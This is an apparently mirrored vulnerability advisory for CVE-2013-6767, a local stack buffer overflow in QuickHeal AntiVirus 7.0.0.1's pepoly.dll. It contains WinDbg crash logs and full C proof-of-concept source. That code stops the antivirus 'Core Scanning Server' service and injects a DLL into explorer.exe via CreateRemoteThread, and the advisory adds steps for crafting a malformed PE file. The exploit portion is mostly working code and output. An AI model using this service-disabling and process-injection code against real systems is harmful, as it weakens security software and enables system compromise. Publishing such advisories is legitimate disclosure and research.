QuickHeal AntiVirus 7.0.0.1 – Local Stack Overflow

  • 作者: Arash Allebrahim
    日期: 2013-12-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/30374/
  • Document Title:
    ===============
    QuickHeal AntiVirus 7.0.0.1 - Stack Overflow Vulnerability
    
    
    References (Source):
    ====================
    http://www.vulnerability-lab.com/get_content.php?id=1171
    
    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-6767
    
    CVE-ID:
    =====
    CVE-2013-6767
    
    
    Release Date:
    =============
    2013-12-16
    
    
    Vulnerability Laboratory ID (VL-ID):
    ====================================
    1171
    
    
    Common Vulnerability Scoring System:
    ====================================
    5.6
    
    
    Product & Service Introduction:
    ===============================
    The simple interface and best virus protection technology of Quick Heal AntiVirus Pro ensures complete security without interrupting 
    or slowing down your system. Real time cloud security restricts access to malware infected websites. Spam filters stop phishing and 
    infected emails from reaching your inbox. Uninterrupted PC usage and viewing without prompts. 
    
    Quick Heal Anti-Virus is an all-round antivirus and security tool aimed at the intermediate home user. On first appearances, Quick Heal 
    Anti-Virus doesn’t do well. Installation is complicated, and the initial window that shows up is not, in fact, the main interface. Once 
    you find your way back to the control center, however, things become much clearer.
    
    Visually, Quick Heal Anti-Virus is fairly successful. It has a nice, if not revolutionary, interface and all the sections are easy 
    to navigate. It also has a good selection of configuration options, where you can customize everything from what behavior the program 
    takes when it finds a virus to setting a password so nobody can change your configurations.
    
    (Copy of the Homepage: http://www.quickheal.com/download-free-antivirus )
    
    
    Abstract Advisory Information:
    ==============================
    An independent laboratory researcher discovered a local stack buffer overflow vulnerability in the official QuickHeal AntiVirus 7.0.0.1 (b2.0.0.1) Pro software.
    
    
    Vulnerability Disclosure Timeline:
    ==================================
    2013-12-16:Public Disclosure (Vulnerability Laboratory)
    
    
    Discovery Status:
    =================
    Published
    
    
    Affected Product(s):
    ====================
    Quick Heal Technologies (P) Ltd
    Product: QuickHeal AntiVirus - Software 7.0.0.1 (build 2.0.0.1 - 2.0.0.0)
    
    
    Exploitation Technique:
    =======================
    Local
    
    
    Severity Level:
    ===============
    Medium
    
    
    Technical Details & Description:
    ================================
    A local stack buffer overflow vulnerability has been discovered in the official QuickHeal AntiVirus 7.0.0.1 (b2.0.0.1) Pro software.
    The vulnerability allows local low privileged user accounts to compromise the system by a classic stack overflow issue. 
    
    QuickHeal Antivirus suffers from improper handling of buffers in it`s `pepoly.dll` module on certain conditions which leads 
    to a stack overflow. Upon disabling `Core scanning server` service, the vulnerable point could be triggered & crash the system. 
    Just run the PoC & once you see properties dialog, change your tab from `General` to `QuickHeal`. This will cause the QuickHeal 
    to scan your file & reports back to you the file status (whether it`s infected or clean). It`s notable that, in normal conditions 
    I was unable to trigger the vulnerability, & this is what`s the reason why I inject a dll into `explorer.exe` to trigger the bug 
    in right manner.
    
    The vulnerability is located in the generated PE file `*.text` value. Local attackers are able to overflow the process by a 
    manipulated import of a malicious PE file. The issue is a classic (uni-code) stack buffer overflow. Local attackers can overwrite 
    the registers to compromise the system or crash the quickheal software system process. The security risk of the local stack buffer 
    overflow vulnerability is estimated as medium(+) with a cvss (common vulnerability scoring system) count of 5.6(+)|(-)5.7.
    
    The vulnerability can be exploited by local attackers with low privileged system user account and without user interaction. 
    Successful exploitation of the local stack buffer overflow software vulnerability results in process- and system compromise. 
    
    
    Proof of Concept (PoC):
    =======================
    The local stack buffer overflow vulnerability can be exploited by local attackers with low privileged system user account and 
    without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below.
    
    
    --- PoC Debug Logs --- 
    eax=000015bc ebx=03f48a0c ecx=03f12a34 edx=03f47a68 esi=089c84e8 edi=00000000
    eip=05bab107 esp=03f47a2c ebp=000822d8 iopl=0 nv up ei pl nz na po nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
    *** WARNING: Unable to verify checksum for C:\PROGRA~1\QUICKH~1\QUICKH~1\pepoly.dll
    *** ERROR: Symbol file could not be found.Defaulted to export symbols for C:\PROGRA~1\QUICKH~1\QUICKH~1\pepoly.dll - 
    pepoly!GetRealTypeByContents+0x297147:
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    05bab107 8501testdword ptr [ecx],eaxds:0023:03f12a34=00000000
    0:019> kb
    ChildEBP RetAddrArgs to Child
    WARNING: Stack unwind information not available. Following frames may be wrong.
    03f47a2c 05b73afa 059342ac 00000000 000822d8 pepoly!GetRealTypeByContents+0x297147
    03f47ab0 41414141 41414141 41414141 41414141 pepoly!GetRealTypeByContents+0x25fb3a
    03f47ab4 41414141 41414141 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    03f47ab8 41414141 41414141 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    03f47abc 41414141 41414141 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    03f47ac0 41414141 41414141 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    03f47ac4 41414141 41414141 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    03f47ac8 41414141 41414141 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    03f47acc 41414141 41414141 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    03f47ad0 41414141 41414141 41414141 30280000 <Unloaded_Res.dll>+0x41414110
    03f47ad4 41414141 41414141 30280000 41414141 <Unloaded_Res.dll>+0x41414110
    03f47ad8 41414141 30280000 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    03f47adc 30280000 41414141 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    03f47ae0 41414141 41414141 41414141 41414141 <Unloaded_Res.dll>+0x3027ffcf
    03f47ae4 41414141 41414141 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    03f47ae8 41414141 41414141 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    03f47aec 41414141 41414141 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    03f47af0 41414141 41414141 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    03f47af4 41414141 41414141 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    03f47af8 41414141 41414141 41414141 41414141 <Unloaded_Res.dll>+0x41414110
    --- PoC Debug Logs --- 
    
    
    --------------------- *.c
    
    Title			:QuickHeal Antivirus Pro (Pepoly.dll) Stack Overflow Vulnerability 	
    Version			:7.0.0.1 (2014) - ( latest & other versions might also be affected )
    Author			:Arash Allebrahim	
    Contact			:Genius_s3c_firewall($$$)yahoo($$$)com		
    Vendor			:http://www.quickheal.com	
    Tested			:Win 7 sp 1 x86 Ultimate & Win XP SP3 ENG	
    Note			: vuln.exe should be at c:\vuln.exe => vuln.exe is just a Corrupted PE File aims at crashing & nothing more
    
    */
    
    #include <windows.h> 
    #include <tlhelp32.h> 
    #include <shlwapi.h> 
    #include <conio.h> 
    #include <stdio.h> 
    #include <tchar.h>
    #include <aclapi.h>
    
    #define WIN32_LEAN_AND_MEAN 
    #define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ) 
    
    #pragma comment(lib, "advapi32.lib")
    
    typedef struct _SERVICE_STATUS_PROCESS {
    DWORD dwServiceType;
    DWORD dwCurrentState;
    DWORD dwControlsAccepted;
    DWORD dwWin32ExitCode;
    DWORD dwServiceSpecificExitCode;
    DWORD dwCheckPoint;
    DWORD dwWaitHint;
    DWORD dwProcessId;
    DWORD dwServiceFlags;
    } SERVICE_STATUS_PROCESS, *LPSERVICE_STATUS_PROCESS;
    
    VOID __stdcall DoStopSvc(); 
    
    SC_HANDLE schSCManager;
    SC_HANDLE schService;
    
    int main(int argc, char * argv[]) 
    { 
     char buf[MAX_PATH] = {0}; 
     DWORD pID = GetTargetThreadIDFromProcName("explorer.exe"); 
     printf("\n\n");
     printf("\n\nQuickHeal Antivirus (7.0.0.1) pepoly.dll stack overflow vulnerability Proof of Concept Code");
     printf("\n\nAuthor : Arash Allebrahim");
     
    
     GetFullPathName("ShellExecuteExProperties.dll", MAX_PATH, buf, NULL); 
     
     printf("\n"); 
    
     DoStopSvc(); 
     if(!Inject(pID, buf)) 
     { 
    printf("\n\nDLL Not Loaded!"); 
    }else{ 
    printf("\n\nDLL Loaded!"); 
    		printf("\n\n( + ) It's ok! just click on QuickHeal tab!");
    }	 
    	
    _getch(); 
     return 0; 
    } 
    
    VOID __stdcall DoStopSvc()
    {
    SERVICE_STATUS_PROCESS ssp;
    DWORD dwStartTime = GetTickCount();
    DWORD dwBytesNeeded;
    DWORD dwTimeout = 30000; 
    DWORD dwWaitTime;
    schSCManager = OpenSCManager( 
    NULL, 
    NULL,
    SC_MANAGER_ALL_ACCESS);
     
    if (NULL == schSCManager) 
    {
    printf("OpenSCManager failed (%d)\n", GetLastError());
    return;
    }
    
    schService = OpenService( 
    schSCManager,
    "Core Scanning Server",
    SERVICE_STOP | 
    SERVICE_QUERY_STATUS | 
    SERVICE_ENUMERATE_DEPENDENTS);
     
    if (schService == NULL)
    { 
    printf("OpenService failed (%d)\n", GetLastError()); 
    CloseServiceHandle(schSCManager);
    return;
    }
    
    if ( !ControlService( 
    schService, 
    SERVICE_CONTROL_STOP, 
    (LPSERVICE_STATUS) &ssp ) )
    {
    printf( "ControlService failed (%d)\n", GetLastError() ); 
    }
    
    CloseServiceHandle(schService); 
    CloseServiceHandle(schSCManager);
    }
    
    BOOL Inject(DWORD pID, const char * DLL_NAME) 
    { 
     HANDLE Proc; 
     HMODULE hLib; 
     char buf[50] = {0}; 
     LPVOID RemoteString, LoadLibAddy; 
     if(!pID) 
    return FALSE; 
     Proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID); 
     if(!Proc) 
     { 
    sprintf(buf, "OpenProcess() failed: %d", GetLastError()); 
    printf(buf); 
    return FALSE; 
     }
     LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
     RemoteString = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(DLL_NAME), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
     WriteProcessMemory(Proc, (LPVOID)RemoteString, DLL_NAME, strlen(DLL_NAME), NULL); 
     CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL); 
     CloseHandle(Proc); 
     return TRUE; 
    } 
    
    DWORD GetTargetThreadIDFromProcName(const char * ProcName) 
    { 
     PROCESSENTRY32 pe; 
     HANDLE thSnapShot; 
     BOOL retval, ProcFound = FALSE; 
     thSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
     if(thSnapShot == INVALID_HANDLE_VALUE) 
     { 
    printf("Error: Unable to create toolhelp snapshot!"); 
    return FALSE; 
     } 
     pe.dwSize = sizeof(PROCESSENTRY32); 
    
     retval = Process32First(thSnapShot, &pe); 
     while(retval) 
     { 
    if(StrStrI(pe.szExeFile, ProcName)) 
    { 
     return pe.th32ProcessID; 
    } 
    retval = Process32Next(thSnapShot, &pe); 
     } 
     return 0; 
    }
    
    
    
    PoC:PE File
    
    To manipulate a PE test file you need to generate own.
    In the second step you replace after the PE[NULL] flag the context of the *.text (*) value with an own large uni-code string.
    
    
    Standard files: StdAfx.h, StdAfx.cpp
    These files are used to build a precompiled header (PCH) file
    named ShellExecuteExProperties.pch and a precompiled types file named StdAfx.obj.
    
    Other notes:
    AppWizard uses "TODO:" to indicate parts of the source code you
    should add to or customize.
    
    
    Resource(s):
    				../ShellExecuteExProperties/ShellExecuteExProperties.cpp
    				../ShellExecuteExProperties/ShellExecuteExProperties.dsw
    				../ShellExecuteExProperties/ShellExecuteExProperties.opt
    				../ShellExecuteExProperties/ShellExecuteExProperties.ncb
    				../ShellExecuteExProperties/ShellExecuteExProperties.plg
    				../ShellExecuteExProperties/ShellExecuteExProperties.dsp
    				../ShellExecuteExProperties/StdAfx.cpp
    				../ShellExecuteExProperties/StdAfx.h
    				../ShellExecuteExProperties/Debug/ShellExecuteExProperties.dll
    				../ShellExecuteExProperties/Debug/ShellExecuteExProperties.ilk
    				../ShellExecuteExProperties/Debug/ShellExecuteExProperties.obj
    				../ShellExecuteExProperties/Debug/ShellExecuteExProperties.pch
    				../ShellExecuteExProperties/Debug/ShellExecuteExProperties.pdb
    				../ShellExecuteExProperties/Debug/StdAfx.obj
    				../ShellExecuteExProperties/Debug/vc60.idb
    				../ShellExecuteExProperties/Debug/vc60.pdb
    
    
    				../QH-PoC.c
    				../QH-PoC.dsp
    				../QH-PoC.dsw
    				../QH-PoC.ncb
    				../QH-PoC.opt
    				../QH-PoC.plg
    
    
    Solution - Fix & Patch:
    =======================
    The vulnerability can be patched by a secure filter and size restriction of the PE file name text flag.
    
    
    Security Risk:
    ==============
    The security risk of the local stack buffer overflow vulnerability is estimated as medium(+).
    
    
    Credits & Authors:
    ==================
    Arash Allebrahim - (Genius_s3c_firewall($$$)yahoo($$$)com)
    
    
    Disclaimer & Information:
    =========================
    The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
    either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
    Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
    profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
    states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
    may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
    or trade with fraud/stolen material.
    
    Domains:www.vulnerability-lab.com 	- www.vuln-lab.com			 - www.evolution-sec.com
    Contact:admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	 - admin@evolution-sec.com
    Section:www.vulnerability-lab.com/dev 	- forum.vulnerability-db.com 		 - magazine.vulnerability-db.com
    Social:	twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	 - youtube.com/user/vulnerability0lab
    Feeds:	vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
    
    Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
    Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
    media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
    other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
    modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
    
    				Copyright © 2013 | Vulnerability Laboratory [Evolution Security]
    
    
    
    -- 
    VULNERABILITY LABORATORY RESEARCH TEAM
    DOMAIN: www.vulnerability-lab.com
    CONTACT: research@vulnerability-lab.com